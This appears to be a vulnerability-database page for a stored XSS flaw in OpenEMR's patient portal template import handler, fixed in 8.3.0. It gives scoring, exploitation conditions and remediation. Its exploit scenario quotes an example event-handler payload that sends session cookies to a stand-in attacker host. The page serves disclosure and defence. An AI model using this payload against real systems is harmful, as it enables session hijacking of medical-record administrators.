Skip to main content

OpenEMR CVE-2026-40508

| EUVDEUVD-2026-62508 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-19 VulnCheck GHSA-xvw4-236w-442q
5.1
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain or compromise Forms Admin credentials
  2. Delivery
    Upload crafted template with HTML event-handler payload
  3. Exploit
    Template stored unsanitized in database
  4. Execution
    Peer Forms Admin opens template in Summernote editor
  5. Persist
    Browser executes injected script
  6. Impact
    Exfiltrate session cookie or perform privileged action

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold an authenticated OpenEMR session with the Forms Administration permission role - this is a non-trivial prerequisite that limits the attacker pool to internal users or compromised administrative accounts. The patient portal template import functionality must be active, which is a configurable feature. Payload delivery to a victim requires a second Forms Administration user to open the poisoned template in the HTML editor (the CVSS UI:P - passive user interaction - reflects this). Factors that limit exploitation: the attacker cannot reach arbitrary users or patients; only peer Forms Administration users are targeted; the feature must be enabled; and the victim must actively navigate to the infected template. The vulnerability does not affect unauthenticated users, patients, or administrative roles other than Forms Administration.

Impact

The CVSS 4.0 score of 5.1 (AV:N/AC:L/AT:N/PR:L/UI:P) accurately reflects the constrained threat model: exploitation requires holding the Forms Administration role, and payload delivery requires a peer administrator to open the poisoned template. The subsequent-system impact metrics SC:L/SI:L confirm the scope is limited to the administrative session of other Forms Administration users - not patients or anonymous visitors. EPSS data was not provided in the intelligence feed; given the authentication and role prerequisites, broad automated exploitation is unlikely. KEV status is not confirmed, and no public exploit code has been identified, so this is presently a theoretical attack path rather than an observed campaign. For healthcare organizations running OpenEMR with multiple Forms Administration accounts, the insider-threat and compromised-credential scenarios are the realistic risk vectors: a low-privileged but malicious administrator, or an attacker who has phished one Forms Admin account, could escalate impact by targeting peer administrators. The confined blast radius - only Forms Administration users are directly affected - keeps this below critical priority for most operators, but the sensitivity of EMR environments and potential for further privilege escalation via stolen admin sessions means patching should not be deferred.

Exploit ScenarioDerived

An attacker who holds or has compromised a Forms Administration account crafts an HTML template file containing a payload such as '<img src=x onerror=fetch("https://attacker.example/steal?c="+document.cookie)>' - a vector the original blocklist did not block. After uploading the template through the patient portal import handler, the payload is stored unmodified. When any peer Forms Administration user opens the template in the Summernote HTML editor, the browser executes the script and exfiltrates the victim's session cookie, enabling session hijacking and full administrative access. No public proof-of-concept has been identified, but the bypass technique is elementary and well-documented for blocklist-based XSS defenses.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 19, 2026

Stored cross-site scripting in OpenEMR's patient portal template import handler (all versions before 8.3.0) lets any authenticated Forms Administration user persist arbitrary HTML or JavaScript by uploading a crafted template file, because the prior defense was a trivially-bypassed blocklist rather than proper sanitization. The payload executes in the browser of every other Forms Administration peer who subsequently opens the template in the Summernote HTML editor, enabling session-token theft or privilege escalation within the EMR administrative context. No public exploit has been identified at time of analysis; vendor-released patch OpenEMR 8.3.0 is available.

RemediationAI

Upgrade to OpenEMR 8.3.0, the vendor-released patched version confirmed by the GitHub release tag at https://github.com/openemr/openemr/releases/tag/v8_3_0 and the associated security advisory GHSA-5293-8q47-cf44. The underlying fix (commit ba316dd1) replaces the inadequate script-blocklist with HTMLPurifier applied at both write time and render time, and removes the unsanitized $_GET['templateHtml'] render path. If immediate upgrade is not feasible, restrict Forms Administration role assignment to the minimum necessary accounts - this does not eliminate the vulnerability but reduces the attacker pool to only the most trusted administrators. Additionally, audit existing stored templates for unexpected script content or event-handler attributes before upgrade, as pre-patch stored payloads in older rows will also be sanitized by the render-path HTMLPurifier added in 8.3.0. There is no workaround that eliminates the vulnerability without the patch; access restriction only reduces the attack surface.

Affected VersionsENISA

OpenEMR 0 <8.3.0

Affected Packages

euvd openemr fix: 8.3.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

OpenEMR (cpe:2.3:a:openemr:openemr:*:*:*:*:*:*:*:*) is an open-source electronic medical record and practice management platform built on PHP. The vulnerable component is portal/import_template.php and the uploadTemplate() method in src/Services/DocumentTemplates/DocumentTemplateService.php. CWE-79 (Improper Neutralization of Input During Web Page Generation) applies: the original code attempted to block script injection by searching for literal '<script' substrings, which is a well-known inadequate blocklist that does not prevent payload delivery via HTML event-handler attributes such as onerror, onload, or onfocus. Separately, the renderEditorHtml() function accepted raw HTML content directly from an unsanitized $_GET['templateHtml'] parameter - a second injection surface removed in the patch. The Summernote WYSIWYG editor loads stored template content into a textarea as unescaped HTML, meaning any persisted payload executes in the victim's browser context at render time. The patch (commit ba316dd) replaces both the write-path blocklist and the render-path gap with HTMLPurifier applied at both persistence and display, and also removes the direct $_GET access that bypassed Symfony request handling conventions.

Know when Openemr gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

Network-delivered stored XSS, low-privilege attacker role required, victim user interaction needed to render payload, scope change affects peer admin sessions with limited C and I impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

OpenEMR before 8.3.0 contains a stored cross-site scripting vulnerability in the patient portal template import handler that allows authenticated attackers with Forms Administration permissions to upload template files containing arbitrary HTML or JavaScript. Attackers can inject malicious scripts through the template upload functionality, which are stored without sanitization and execute in the browser of any other Forms Administration user who views the template in the HTML editor.

Threat Intelligence Overview

EPSS Score
0.2%
Top 93% exploitable
Prevalence
Medium
widely used open-source EMR in small and mid-size healthcare practices
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2013-10044 HIGH POC
8.7 Aug 01

An authenticated SQL injection vulnerability exists in OpenEMR ≤ 4.1.1 Patch 14 that allows a low-privileged attacker to

CVE-2026-24898 CRITICAL POC
10.0 Mar 03

Unauthenticated token disclosure in OpenEMR before 8.0.0. CVSS 10.0. PoC and patch available.

CVE-2026-24848 CRITICAL POC
9.9 Mar 03

Path traversal in OpenEMR 7.0.4 disposeDocument() allows file access. PoC available.

CVE-2026-24849 CRITICAL POC
9.9 Feb 25

Path traversal in OpenEMR electronic health records before fix allows authenticated users to read arbitrary files on the

CVE-2026-24908 CRITICAL POC
9.9 Feb 25

SQL injection in OpenEMR electronic health records before fix. Authenticated users can execute arbitrary SQL through the

CVE-2024-22611 CRITICAL POC
9.8 Apr 03

OpenEMR 7.0.2 is vulnerable to SQL Injection via \openemr\library\classes\Pharmacy.class.php, \controllers\C_Pharmacy.cl

CVE-2024-37734 CRITICAL POC
9.8 Jun 26

An issue in OpenEMR 7.0.2 allows a remote attacker to escalate privileges viaa crafted POST request using the noteid par

CVE-2026-25146 CRITICAL POC
9.6 Mar 03

Information disclosure in OpenEMR 5.0.2 to before 8.0.0 exposes sensitive data. PoC and patch available.

CVE-2026-39932 CRITICAL POC
9.4 Aug 03

Remote code execution in OpenEMR through 8.2.0 lets an authenticated administrator poison the document category tree so

CVE-2012-0992 HIGH POC
8.5 Feb 07

interface/fax/fax_dispatch.php in OpenEMR 4.1.0 allows remote authenticated users to execute arbitrary commands via shel

CVE-2015-4453 MEDIUM
5.0 Jul 05

interface/globals.php in OpenEMR 2.x, 3.x, and 4.x before 4.2.0 patch 2 allows remote attackers to bypass authentication

CVE-2018-15152 CRITICAL POC
9.1 Aug 15

Authentication bypass vulnerability in portal/account/register.php in versions of OpenEMR before 5.0.1.4 allows a remote

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy